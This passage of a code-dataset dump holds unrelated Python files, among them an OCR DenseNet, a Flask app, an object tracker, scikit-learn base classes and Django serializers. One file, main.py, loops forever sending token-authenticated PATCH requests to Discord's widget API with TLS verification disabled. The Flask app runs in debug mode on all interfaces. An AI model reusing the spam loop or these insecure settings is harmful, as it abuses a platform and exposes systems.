information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n# Credits: adapted from https://github.com/mindee/doctr\n\nfrom typing import Tuple\n\nfrom torch import Tensor\nfrom torch import nn\nfrom torchvision.models import densenet\n\n\nclass DenseNet(densenet.DenseNet):\n def __init__(\n self,\n growth_rate: int = 32,\n block_config: Tuple[int, int, int, int] = (2, 2, 2, 2),\n num_init_features: int = 64,\n bn_size: int = 4,\n drop_rate: float = 0,\n memory_efficient: bool = False,\n ) -> None:\n super().__init__(\n growth_rate,\n block_config,\n num_init_features,\n bn_size,\n drop_rate,\n num_classes=1, # useless, will be deleted\n memory_efficient=memory_efficient,\n )\n\n self.block_config = block_config\n\n delattr(self, 'classifier')\n self.features.conv0 = nn.Conv2d(\n 1, num_init_features, kernel_size=3, stride=1, padding=1, bias=False\n )\n self.features.pool0 = nn.MaxPool2d(kernel_size=3, stride=1, padding=1)\n\n last_denselayer = self._get_last_denselayer(len(self.block_config))\n conv = last_denselayer.conv2\n in_channels, out_channels = conv.in_channels, conv.out_channels\n last_denselayer.conv2 = nn.Conv2d(\n in_channels, out_channels, kernel_size=5, stride=1, padding=2, bias=False\n )\n\n # for i in range(1, len(self.block_config)):\n # transition = getattr(self.features, 'transition%d' % i)\n # in_channels, out_channels = transition.conv.in_channels, transition.conv.out_channels\n # trans = _MaxPoolTransition(num_input_features=in_channels,\n # num_output_features=out_channels)\n # setattr(self.features, 'transition%d' % i, trans)\n\n self._post_init_weights()\n\n def _get_last_denselayer(self, block_num):\n denseblock = getattr(self.features, 'denseblock%d' % block_num)\n i = 1\n while hasattr(denseblock, 'denselayer%d' % i):\n i += 1\n return getattr(denseblock, 'denselayer%d' % (i-1))\n\n @property\n def compress_ratio(self):\n return 2 ** (len(self.block_config) - 1)\n\n def _post_init_weights(self):\n # Official init from torch repo.\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight)\n elif isinstance(m, nn.BatchNorm2d):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n elif isinstance(m, nn.Linear):\n nn.init.constant_(m.bias, 0)\n\n def forward(self, x: Tensor) -> Tensor:\n features = self.features(x)\n return features\n\n\nclass DenseNetLite(DenseNet):\n def __init__(\n self,\n growth_rate: int = 32,\n block_config: Tuple[int, int, int] = (2, 2, 2),\n num_init_features: int = 64,\n bn_size: int = 4,\n drop_rate: float = 0,\n memory_efficient: bool = False,\n ) -> None:\n super().__init__(\n growth_rate,\n block_config,\n num_init_features,\n bn_size,\n drop_rate,\n memory_efficient=memory_efficient,\n )\n self.features.pool0 = nn.AvgPool2d(kernel_size=2, stride=2)\n\n # last max pool, pool 1/8 to 1/16 for height dimension\n self.features.add_module(\n 'pool5', nn.AvgPool2d(kernel_size=(2, 1), stride=(2, 1))\n )\n\n @property\n def compress_ratio(self):\n return 2 ** len(self.block_config)\n\n\nclass _MaxPoolTransition(nn.Sequential):\n def __init__(self, num_input_features: int, num_output_features: int) -> None:\n super().__init__()\n self.add_module('norm', nn.BatchNorm2d(num_input_features))\n self.add_module('relu', nn.ReLU(inplace=True))\n self.add_module(\n 'conv',\n nn.Conv2d(\n num_input_features,\n num_output_features,\n kernel_size=1,\n stride=1,\n bias=False,\n ),\n )\n self.add_module('pool', nn.MaxPool2d(kernel_size=2, stride=2))\n","sub_path":"cnocr/models/densenet.py","file_name":"densenet.py","file_ext":"py","file_size_in_byte":5032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"575487282","text":"from flask import Flask, render_template\nimport datetime\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef hello():\n now = datetime.datetime.now()\n timeString = now.strftime(\"%Y-%m-%d %H:%M\")\n templateData = {\n 'title' : 'HELLO!',\n 'time': timeString,\n }\n return render_template('main.html', **templateData)\n\n\n@app.route(\"/<int:id_code>\")\ndef button(id_code):\n\n if id_code == 123:\n templateData = {\n 'title' : 'Blue button pressed!',\n 'colour' : 'Blue ',\n 'answer' : ' pressed'\n }\n return render_template('button.html', **templateData)\n\n elif id_code == 1234:\n templateData = {\n 'title' : 'Red button pressed!',\n 'colour' : 'Red ',\n 'answer' : ' pressed'\n }\n return render_template('button.html', **templateData)\n\n else:\n templateData = {\n 'title' : 'Button not pressed',\n 'answer' : ' not pressed'\n }\n return render_template('button.html', **templateData)\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=80, debug=True)\n","sub_path":"First.py","file_name":"First.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"5870346","text":"##\n## Imprima la cantidad de registros por cada mes.\n##\n## 01,3\n## 02,4\n## 03,2\n## 04,4\n## 05,3\n## 06,3\n## 07,5\n## 08,6\n## 09,3\n## 10,2\n## 11,2\n## 12,3\n##\nimport csv\nletras={}\nwith open('data3.csv', 'r') as f:\n f = csv.reader(f, delimiter=',')#, quoting=csv.QUOTE_NONNUMERIC\n letras={}\n for r in f:\n fecha=r[2].split('-')\n #print() \n ya_esta=False\n for valor in letras.keys():\n if (valor==fecha[1]):\n ya_esta=True\n aux=int(letras[valor]) + 1\n letras[valor]=aux \n if ya_esta==False:\n letras[fecha[1]]=1\n \n for letra in sorted(letras):\n print (letra+\",\"+str(letras[letra]))\n","sub_path":"q04.py","file_name":"q04.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"514132940","text":"import requests\nimport warnings, random\nwarnings.filterwarnings(\"ignore\")\nlol = [\"True\", \"False\"]\n\n\ndef widget(guildid, token):\n data = {'channel_id': \"1\",\n 'enabled': next(lol),\n }\n headers = {\n \"Authorization\": token,\n \"Accept-Language\": \"en-US\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.308 Chrome/78.0.3904.130 Electron/7.3.2 Safari/537.36\",\n \"Content-Type\": \"application/json\",\n \"Accept\": \"*/*\",\n }\n\n r = requests.patch(f\"https://discord.com/api/v8/guilds/{guildid}/widget\", headers=headers, json=data, verify=False)\n print(r.status_code)\n\n\nguildid = input(\"Insert Guild ID > \")\ntoken = input(\"Insert Token > \")\n\nwhile True:\n widget(guildid, token)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"312139993","text":"#Metacaracteres\n#Anclas y clases de caracteres\n\nimport re\n\nlista_nombres = ['Juan Quiroz',\n 'ezría Pozo',\n 'Sandra Ramirez',\n 'Sandra Lopez',\n 'Sandra Guevara',\n 'Santiago Suarez',\n 'hombres',\n 'mujeres',\n 'niños',\n 'niñas',\n 'camion',\n 'camión']\n\n#El caracter ^ busca al principio\n#El caracter $ busca al final \n#El caracter [] busca entre el texto, pero no distingue de mayusculas o minusculas\n\nfor elemento in lista_nombres:\n # if re.findall('niñ[oa]s',elemento):\n if re.findall('cami[oó]n',elemento):\n print(elemento)\n\n\n ","sub_path":"17Expresiones_regulares2.py","file_name":"17Expresiones_regulares2.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"39024805","text":"# Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\nThis code is based on https://github.com/xingyizhou/CenterTrack/blob/master/src/lib/utils/tracker.py\n\"\"\"\n\nimport copy\nimport numpy as np\nimport sklearn\n\n__all__ = ['CenterTracker']\n\n\nclass CenterTracker(object):\n __shared__ = ['num_classes']\n\n def __init__(self,\n num_classes=1,\n min_box_area=0,\n vertical_ratio=-1,\n track_thresh=0.4,\n pre_thresh=0.5,\n new_thresh=0.4,\n out_thresh=0.4,\n hungarian=False):\n self.num_classes = num_classes\n self.min_box_area = min_box_area\n self.vertical_ratio = vertical_ratio\n\n self.track_thresh = track_thresh\n self.pre_thresh = max(track_thresh, pre_thresh)\n self.new_thresh = max(track_thresh, new_thresh)\n self.out_thresh = max(track_thresh, out_thresh)\n self.hungarian = hungarian\n\n self.reset()\n\n def init_track(self, results):\n print('Initialize tracking!')\n for item in results:\n if item['score'] > self.new_thresh:\n self.id_count += 1\n item['tracking_id'] = self.id_count\n if not ('ct' in item):\n bbox = item['bbox']\n item['ct'] = [(bbox[0] + bbox[2]) / 2,\n (bbox[1] + bbox[3]) / 2]\n self.tracks.append(item)\n\n def reset(self):\n self.id_count = 0\n self.tracks = []\n\n def update(self, results, public_det=None):\n N = len(results)\n M = len(self.tracks)\n\n dets = np.array([det['ct'] + det['tracking'] for det in results],\n np.float32) # N x 2\n track_size = np.array([((track['bbox'][2] - track['bbox'][0]) * \\\n (track['bbox'][3] - track['bbox'][1])) \\\n for track in self.tracks], np.float32) # M\n track_cat = np.array([track['class'] for track in self.tracks],\n np.int32) # M\n item_size = np.array([((item['bbox'][2] - item['bbox'][0]) * \\\n (item['bbox'][3] - item['bbox'][1])) \\\n for item in results], np.float32) # N\n item_cat = np.array([item['class'] for item in results], np.int32) # N\n tracks = np.array([pre_det['ct'] for pre_det in self.tracks],\n np.float32) # M x 2\n dist = (((tracks.reshape(1, -1, 2) - \\\n dets.reshape(-1, 1, 2)) ** 2).sum(axis=2)) # N x M\n\n invalid = ((dist > track_size.reshape(1, M)) + \\\n (dist > item_size.reshape(N, 1)) + \\\n (item_cat.reshape(N, 1) != track_cat.reshape(1, M))) > 0\n dist = dist + invalid * 1e18\n\n if self.hungarian:\n item_score = np.array([item['score'] for item in results],\n np.float32)\n dist[dist > 1e18] = 1e18\n from sklearn.utils.linear_assignment_ import linear_assignment\n matched_indices = linear_assignment(dist)\n else:\n matched_indices = greedy_assignment(copy.deepcopy(dist))\n\n unmatched_dets = [d for d in range(dets.shape[0]) \\\n if not (d in matched_indices[:, 0])]\n unmatched_tracks = [d for d in range(tracks.shape[0]) \\\n if not (d in matched_indices[:, 1])]\n\n if self.hungarian:\n matches = []\n for m in matched_indices:\n if dist[m[0], m[1]] > 1e16:\n unmatched_dets.append(m[0])\n unmatched_tracks.append(m[1])\n else:\n matches.append(m)\n matches = np.array(matches).reshape(-1, 2)\n else:\n matches = matched_indices\n\n ret = []\n for m in matches:\n track = results[m[0]]\n track['tracking_id'] = self.tracks[m[1]]['tracking_id']\n ret.append(track)\n\n # Private detection: create tracks for all un-matched detections\n for i in unmatched_dets:\n track = results[i]\n if track['score'] > self.new_thresh:\n self.id_count += 1\n track['tracking_id'] = self.id_count\n ret.append(track)\n\n self.tracks = ret\n return ret\n\n\ndef greedy_assignment(dist):\n matched_indices = []\n if dist.shape[1] == 0:\n return np.array(matched_indices, np.int32).reshape(-1, 2)\n for i in range(dist.shape[0]):\n j = dist[i].argmin()\n if dist[i][j] < 1e16:\n dist[:, j] = 1e18\n matched_indices.append([i, j])\n return np.array(matched_indices, np.int32).reshape(-1, 2)\n","sub_path":"deploy/pptracking/python/mot/tracker/center_tracker.py","file_name":"center_tracker.py","file_ext":"py","file_size_in_byte":5233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"346208942","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.core.validators\nimport django_countries.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('RegistrationForm', '0010_auto_20160311_0517'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='registrationform',\n name='Number_of_Delegates',\n field=models.IntegerField(default=1, help_text=b\"<br><em>There must be between 1 and 50 (inclusive) delegates. If you desire more delegates, email the Chargee d'Affaires.\", validators=[django.core.validators.MinValueValidator(1), django.core.validators.MaxValueValidator(50)]),\n ),\n migrations.AlterField(\n model_name='registrationform',\n name='Country',\n field=django_countries.fields.CountryField(max_length=2),\n ),\n ]\n","sub_path":"RegistrationForm/migrations/0011_auto_20160311_0631.py","file_name":"0011_auto_20160311_0631.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"383824713","text":"\"\"\"\nThis file gathers Scikit-Learn code that would otherwise\nrequire a version-dependent import from the sklearn library\n\"\"\"\n\n# Original authors from Sckit-Learn:\n# Gael Varoquaux <gael.varoquaux@normalesup.org>\n# License: BSD 3 clause\n\n\n# This code originates from the Scikit-Learn library,\n# it was since modified to allow GPU acceleration.\n# This code is under BSD 3 clause license.\n# Authors mentioned above do not endorse or promote this production.\n\n\nimport warnings\nfrom collections import defaultdict\nimport inspect\nimport re\n\nfrom ..utils.validation import check_X_y\nfrom ....thirdparty_adapters import check_array\n\n\n__version__ = '0.23.1'\n\n_DEFAULT_TAGS = {\n 'non_deterministic': False,\n 'requires_positive_X': False,\n 'requires_positive_y': False,\n 'X_types': ['2darray'],\n 'poor_score': False,\n 'no_validation': False,\n 'multioutput': False,\n \"allow_nan\": False,\n 'stateless': False,\n 'multilabel': False,\n '_skip_test': False,\n '_xfail_checks': False,\n 'multioutput_only': False,\n 'binary_only': False,\n 'requires_fit': True,\n 'requires_y': False,\n }\n\n\nclass BaseEstimator:\n \"\"\"Base class for all estimators in scikit-learn\n\n Notes\n -----\n All estimators should specify all the parameters that can be set\n at the class level in their ``__init__`` as explicit keyword\n arguments (no ``*args`` or ``**kwargs``).\n \"\"\"\n\n @classmethod\n def _get_param_names(cls):\n \"\"\"Get parameter names for the estimator\"\"\"\n # fetch the constructor or the original constructor before\n # deprecation wrapping if any\n init = getattr(cls.__init__, 'deprecated_original', cls.__init__)\n if init is object.__init__:\n # No explicit constructor to introspect\n return []\n\n # introspect the constructor arguments to find the model parameters\n # to represent\n init_signature = inspect.signature(init)\n # Consider the constructor parameters excluding 'self'\n parameters = [p for p in init_signature.parameters.values()\n if p.name != 'self' and p.kind != p.VAR_KEYWORD]\n for p in parameters:\n if p.kind == p.VAR_POSITIONAL:\n raise RuntimeError(\"scikit-learn estimators should always \"\n \"specify their parameters in the signature\"\n \" of their __init__ (no varargs).\"\n \" %s with constructor %s doesn't \"\n \" follow this convention.\"\n % (cls, init_signature))\n # Extract and sort argument names excluding 'self'\n return sorted([p.name for p in parameters])\n\n def get_params(self, deep=True):\n \"\"\"\n Get parameters for this estimator.\n\n Parameters\n ----------\n deep : bool, default=True\n If True, will return the parameters for this estimator and\n contained subobjects that are estimators.\n\n Returns\n -------\n params : mapping of string to any\n Parameter names mapped to their values.\n \"\"\"\n out = dict()\n for key in self._get_param_names():\n try:\n value = getattr(self, key)\n except AttributeError:\n warnings.warn('From version 0.24, get_params will raise an '\n 'AttributeError if a parameter cannot be '\n 'retrieved as an instance attribute. Previously '\n 'it would return None.',\n FutureWarning)\n value = None\n if deep and hasattr(value, 'get_params'):\n deep_items = value.get_params().items()\n out.update((key + '__' + k, val) for k, val in deep_items)\n out[key] = value\n return out\n\n def set_params(self, **params):\n \"\"\"\n Set the parameters of this estimator.\n\n The method works on simple estimators as well as on nested objects\n (such as pipelines). The latter have parameters of the form\n ``<component>__<parameter>`` so that it's possible to update each\n component of a nested object.\n\n Parameters\n ----------\n **params : dict\n Estimator parameters.\n\n Returns\n -------\n self : object\n Estimator instance.\n \"\"\"\n if not params:\n # Simple optimization to gain speed (inspect is slow)\n return self\n valid_params = self.get_params(deep=True)\n\n nested_params = defaultdict(dict) # grouped by prefix\n for key, value in params.items():\n key, delim, sub_key = key.partition('__')\n if key not in valid_params:\n raise ValueError('Invalid parameter %s for estimator %s. '\n 'Check the list of available parameters '\n 'with `estimator.get_params().keys()`.' %\n (key, self))\n\n if delim:\n nested_params[key][sub_key] = value\n else:\n setattr(self, key, value)\n valid_params[key] = value\n\n for key, sub_params in nested_params.items():\n valid_params[key].set_params(**sub_params)\n\n return self\n\n def __repr__(self, N_CHAR_MAX=700):\n # N_CHAR_MAX is the (approximate) maximum number of non-blank\n # characters to render. We pass it as an optional parameter to ease\n # the tests.\n\n from ._pprint import _EstimatorPrettyPrinter\n\n N_MAX_ELEMENTS_TO_SHOW = 30 # number of elements to show in sequences\n\n # use ellipsis for sequences with a lot of elements\n pp = _EstimatorPrettyPrinter(\n compact=True, indent=1, indent_at_name=True,\n n_max_elements_to_show=N_MAX_ELEMENTS_TO_SHOW)\n\n repr_ = pp.pformat(self)\n\n # Use bruteforce ellipsis when there are a lot of non-blank characters\n n_nonblank = len(''.join(repr_.split()))\n if n_nonblank > N_CHAR_MAX:\n lim = N_CHAR_MAX // 2 # apprx number of chars to keep on both ends\n regex = r'^(\\s*\\S){%d}' % lim\n # The regex '^(\\s*\\S){%d}' % n\n # matches from the start of the string until the nth non-blank\n # character:\n # - ^ matches the start of string\n # - (pattern){n} matches n repetitions of pattern\n # - \\s*\\S matches a non-blank char following zero or more blanks\n left_lim = re.match(regex, repr_).end()\n right_lim = re.match(regex, repr_[::-1]).end()\n\n if '\\n' in repr_[left_lim:-right_lim]:\n # The left side and right side aren't on the same line.\n # To avoid weird cuts, e.g.:\n # categoric...ore',\n # we need to start the right side with an appropriate newline\n # character so that it renders properly as:\n # categoric...\n # handle_unknown='ignore',\n # so we add [^\\n]*\\n which matches until the next \\n\n regex += r'[^\\n]*\\n'\n right_lim = re.match(regex, repr_[::-1]).end()\n\n ellipsis = '...'\n if left_lim + len(ellipsis) < len(repr_) - right_lim:\n # Only add ellipsis if it results in a shorter repr\n repr_ = repr_[:left_lim] + '...' + repr_[-right_lim:]\n\n return repr_\n\n def __getstate__(self):\n try:\n state = super().__getstate__()\n except AttributeError:\n state = self.__dict__.copy()\n\n if type(self).__module__.startswith('sklearn.'):\n return dict(state.items(), _sklearn_version=__version__)\n else:\n return state\n\n def __setstate__(self, state):\n if type(self).__module__.startswith('sklearn.'):\n pickle_version = state.pop(\"_sklearn_version\", \"pre-0.18\")\n if pickle_version != __version__:\n warnings.warn(\n \"Trying to unpickle estimator {0} from version {1} when \"\n \"using version {2}. This might lead to breaking code or \"\n \"invalid results. Use at your own risk.\".format(\n self.__class__.__name__, pickle_version, __version__),\n UserWarning)\n try:\n super().__setstate__(state)\n except AttributeError:\n self.__dict__.update(state)\n\n def _more_tags(self):\n return _DEFAULT_TAGS\n\n def _get_tags(self):\n collected_tags = {}\n for base_class in reversed(inspect.getmro(self.__class__)):\n if hasattr(base_class, '_more_tags'):\n # need the if because mixins might not have _more_tags\n # but might do redundant work in estimators\n # (i.e. calling more tags on BaseEstimator multiple times)\n more_tags = base_class._more_tags(self)\n collected_tags.update(more_tags)\n return collected_tags\n\n def _check_n_features(self, X, reset):\n \"\"\"Set the `n_features_in_` attribute, or check against it.\n\n Parameters\n ----------\n X : {ndarray, sparse matrix} of shape (n_samples, n_features)\n The input samples.\n reset : bool\n If True, the `n_features_in_` attribute is set to `X.shape[1]`.\n Else, the attribute must already exist and the function checks\n that it is equal to `X.shape[1]`.\n \"\"\"\n n_features = X.shape[1]\n\n if reset:\n self.n_features_in_ = n_features\n else:\n if not hasattr(self, 'n_features_in_'):\n raise RuntimeError(\n \"The reset parameter is False but there is no \"\n \"n_features_in_ attribute. Is this estimator fitted?\"\n )\n if n_features != self.n_features_in_:\n raise ValueError(\n 'X has {} features, but this {} is expecting {} features '\n 'as input.'.format(n_features, self.__class__.__name__,\n self.n_features_in_)\n )\n\n def _validate_data(self, X, y=None, reset=True,\n validate_separately=False, **check_params):\n \"\"\"Validate input data and set or check the `n_features_in_` attribute.\n\n Parameters\n ----------\n X : {array-like, sparse matrix, dataframe} of shape \\\n (n_samples, n_features)\n The input samples.\n y : array-like of shape (n_samples,), default=None\n The targets. If None, `check_array` is called on `X` and\n `check_X_y` is called otherwise.\n reset : bool, default=True\n Whether to reset the `n_features_in_` attribute.\n If False, the input will be checked for consistency with data\n provided when reset was last True.\n validate_separately : False or tuple of dicts, default=False\n Only used if y is not None.\n If False, call validate_X_y(). Else, it must be a tuple of kwargs\n to be used for calling check_array() on X and y respectively.\n **check_params : kwargs\n Parameters passed to :func:`sklearn.utils.check_array` or\n :func:`sklearn.utils.check_X_y`. Ignored if validate_separately\n is not False.\n\n Returns\n -------\n out : {ndarray, sparse matrix} or tuple of these\n The validated input. A tuple is returned if `y` is not None.\n \"\"\"\n\n if y is None:\n if self._get_tags()['requires_y']:\n raise ValueError(\n f\"This {self.__class__.__name__} estimator \"\n f\"requires y to be passed, but the target y is None.\"\n )\n X = check_array(X, **check_params)\n out = X\n else:\n if validate_separately:\n # We need this because some estimators validate X and y\n # separately, and in general, separately calling check_array()\n # on X and y isn't equivalent to just calling check_X_y()\n # :(\n check_X_params, check_y_params = validate_separately\n X = check_array(X, **check_X_params)\n y = check_array(y, **check_y_params)\n else:\n X, y = check_X_y(X, y, **check_params)\n out = X, y\n\n if check_params.get('ensure_2d', True):\n self._check_n_features(X, reset=reset)\n\n return out\n\n\nclass TransformerMixin:\n \"\"\"Mixin class for all transformers in scikit-learn.\"\"\"\n\n def fit_transform(self, X, y=None, **fit_params):\n \"\"\"\n Fit to data, then transform it.\n\n Fits transformer to X and y with optional parameters fit_params\n and returns a transformed version of X.\n\n Parameters\n ----------\n X : {array-like, sparse matrix, dataframe} of shape \\\n (n_samples, n_features)\n\n y : ndarray of shape (n_samples,), default=None\n Target values.\n\n **fit_params : dict\n Additional fit parameters.\n\n Returns\n -------\n X_new : ndarray array of shape (n_samples, n_features_new)\n Transformed array.\n \"\"\"\n # non-optimized default implementation; override when a better\n # method is possible for a given clustering algorithm\n if y is None:\n # fit method of arity 1 (unsupervised transformation)\n return self.fit(X, **fit_params).transform(X)\n else:\n # fit method of arity 2 (supervised transformation)\n return self.fit(X, y, **fit_params).transform(X)\n","sub_path":"python/cuml/_thirdparty/sklearn/utils/skl_dependencies.py","file_name":"skl_dependencies.py","file_ext":"py","file_size_in_byte":13915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"202664862","text":"'''\n@Author: 27\n@LastEditors: 27\n@Date: 2020-03-14 23:57:35\n@LastEditTime: 2020-03-18 02:00:07\n@FilePath: /Algorithms_Note/其他面试题目/解码方法.py\n@description: type some description\n'''\n'''\n一条包含字母 A-Z 的消息通过以下方式进行了编码:\n\n'A' -> 1\n'B' -> 2\n...\n'Z' -> 26\n给定一个只包含数字的非空字符串,请计算解码方法的总数。\n示例 1:\n输入: \"12\"\n输出: 2\n解释: 它可以解码为 \"AB\"(1 2)或者 \"L\"(12)。\n示例 2:\n输入: \"226\"\n输出: 3\n解释: 它可以解码为 \"BZ\" (2 26), \"VF\" (22 6), 或者 \"BBF\" (2 2 6) 。\n'''\nclass Solution(object):\n def numDecodings(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n if s.startswith(\"0\"):\n return 0\n l = len(s)\n dp = [0] * (l + 1)\n dp[0] = 1\n dp[1] = 1\n for i in range(1, l):\n tem = int(s[i-1]) * 10 + int(s[i])\n if int(s[i]) > 0:\n dp[i + 1] = dp[i]\n if tem > 9 and tem <= 26:\n dp[i + 1] += dp[i - 1]\n if dp[i + 1] == 0: return 0\n return dp[l]\n","sub_path":"content/other_test/其他面试题目/解码方法.py","file_name":"解码方法.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"300256924","text":"import csv\nfrom PIL import Image\nfrom tflearn.data_utils import build_hdf5_image_dataset\n\nclass SideFunctions:\n\tdef ExtractFromCSV(csv_in,output_dir,image_size,image_mode='RGB'):\n\t\twith open(csv_in,'r') as csvin:\n\t\t\ttraindata=csv.reader(csvin, delimiter=',', quotechar='\"')\n\t\t\trowcount=0\n\t\t\tfor row in traindata:\n\t\t\t\tif rowcount > 0:\n\t\t\t\t\tprint('rows ' + str(rowcount) + \"\\n\")\n\t\t\t\t\tx=0\n\t\t\t\t\ty=0\n\t\t\t\t\tpixels=row[1].split()\n\t\t\t\t\timg = Image.new(image_mode,image_size)\n\t\t\t\t\tfor pixel in pixels:\n\t\t\t\t\t\tcolour=(int(pixel),int(pixel),int(pixel))\n\t\t\t\t\t\timg.putpixel((x,y), colour)\n\t\t\t\t\t\tx+=1\n\t\t\t\t\t\tif x >= 48:\n\t\t\t\t\t\t\tx=0\n\t\t\t\t\t\t\ty+=1\n\t\t\t\t\timgfile=output_dir+'/'+str(row[0])+'/'+str(rowcount)+'.png'\n\t\t\t\t\timg.save(imgfile,'png')\n\t\t\t\trowcount+=1\n\n\tdef BuildH5FromDirectory(directory,size):\n\t\tbuild_hdf5_image_dataset(directory, image_shape=size, mode='folder', grayscale= True, categorical_labels=True, normalize=True)\n\n#SideFunctions.ExtractFromCSV(\"./Dataset/Validation/validation.csv\",\"./Dataset/Validation/\",(48,48))\nSideFunctions.BuildH5FromDirectory(\"./Dataset/Training/\",(48,48))\n","sub_path":"SideFunctions.py","file_name":"SideFunctions.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"530519747","text":"\"\"\"Update the name of a disk in an application.\"\"\"\n# :license: MIT, see LICENSE for more details.\n\nimport click\n\nimport cloudistics\nfrom cloudistics.cli import environment\nfrom cloudistics.cli import exceptions\nfrom cloudistics.cli import formatting\n\n\n@click.command()\n@click.argument('app_name_or_uuid')\n@click.argument('old_name_or_uuid')\n@click.argument('new_name')\n@environment.pass_env\ndef cli(env, app_name_or_uuid, old_name_or_uuid, new_name):\n \"\"\"Update the name of a disk in an application.\"\"\"\n\n if not (env.skip_confirmations or formatting.confirm(\"This action will rename a disk in an app. Continue?\")):\n raise exceptions.CLIAbort('Aborting application disk name edit.')\n\n mgr = cloudistics.ApplicationDisksManager(env.client)\n\n # Build and setup our results table\n table = formatting.KeyValueTable(['name', 'value'])\n table.align['name'] = 'r'\n table.align['value'] = 'l'\n table.add_row(['action', 'disk-name'])\n table.add_row(['disk', old_name_or_uuid])\n table.add_row(['new_name', new_name])\n\n try:\n # Add the disk to the instance\n result = mgr.name(app_name_or_uuid, old_name_or_uuid, new_name)\n table.add_row(['status', result['message']])\n\n # Return our results\n env.fout(table)\n except ValueError as ex:\n env.out(str(ex))\n raise exceptions.CLIHalt(code=1)\n","sub_path":"cloudistics/cli/applications/disks/name.py","file_name":"name.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"188381744","text":"from django.db import transaction\nfrom fcm_django.models import FCMDevice\nfrom rest_framework import serializers\n\nfrom behind import jarvis\nfrom companies.models import Job, Company, UserJobHistory\nfrom companies.serializers import JobSerializer, CompanySerializer\nfrom questions.models import Question, Answer\nfrom users.models import User\nfrom users.serializers import UserDetailsSerializer\n\n\nclass AnswerListQuestionSerializer(serializers.ModelSerializer):\n job = JobSerializer(read_only=True)\n company = CompanySerializer(read_only=True)\n\n class Meta:\n model = Question\n fields = ('id', 'content', 'job', 'company', 'questioner', 'created_at',)\n read_only_fields = ('id', 'job', 'company', 'questioner', 'created_at',)\n\n\nclass AnswerListSerializer(serializers.ModelSerializer):\n answerer = UserDetailsSerializer(read_only=True)\n question = AnswerListQuestionSerializer(read_only=True)\n\n class Meta:\n model = Answer\n fields = ('id', 'content', 'answerer', 'question', 'chat_room', 'created_at',)\n read_only_fields = ('id', 'answerer', 'question', 'chat_room', 'created_at',)\n\n\nclass QuestionListAnswerSerializer(serializers.ModelSerializer):\n answerer = UserDetailsSerializer(read_only=True)\n\n class Meta:\n model = Answer\n fields = ('id', 'content', 'answerer', 'chat_room', 'created_at',)\n read_only_fields = ('id', 'answerer', 'chat_room', 'created_at',)\n\n\nclass QuestionListSerializer(serializers.ModelSerializer):\n job = JobSerializer(read_only=True)\n company = CompanySerializer(read_only=True)\n answers = QuestionListAnswerSerializer(read_only=True, many=True)\n\n class Meta:\n model = Question\n fields = ('id', 'content', 'job', 'company', 'questioner',\n 'answers', 'created_at',)\n read_only_fields = ('id', 'job', 'company', 'questioner',\n 'answers', 'created_at',)\n\n\nclass CreateAnswerSerializer(serializers.ModelSerializer):\n content = serializers.CharField(\n required=True,\n allow_blank=False,\n min_length=20\n )\n question_id = serializers.PrimaryKeyRelatedField(\n required=True,\n queryset=Question.objects.all(),\n write_only=True\n )\n answerer = UserDetailsSerializer(read_only=True)\n\n @transaction.atomic\n def create(self, validated_data):\n question = validated_data.pop('question_id')\n validated_data['answerer'] = self.context['request'].user\n validated_data['question_id'] = question.id\n new_answer = Answer.objects.create(**validated_data)\n questioner = question.questioner\n if questioner.can_send_push_notification('asked'):\n questioner.active_device().send_message(\n body=f'{questioner.username}님, 재직자님의 답변이 도착했어요! 지금 바로 확인해보세요.',\n sound='default',\n data={'question_id': question.id}\n )\n return new_answer\n\n class Meta:\n model = Answer\n fields = 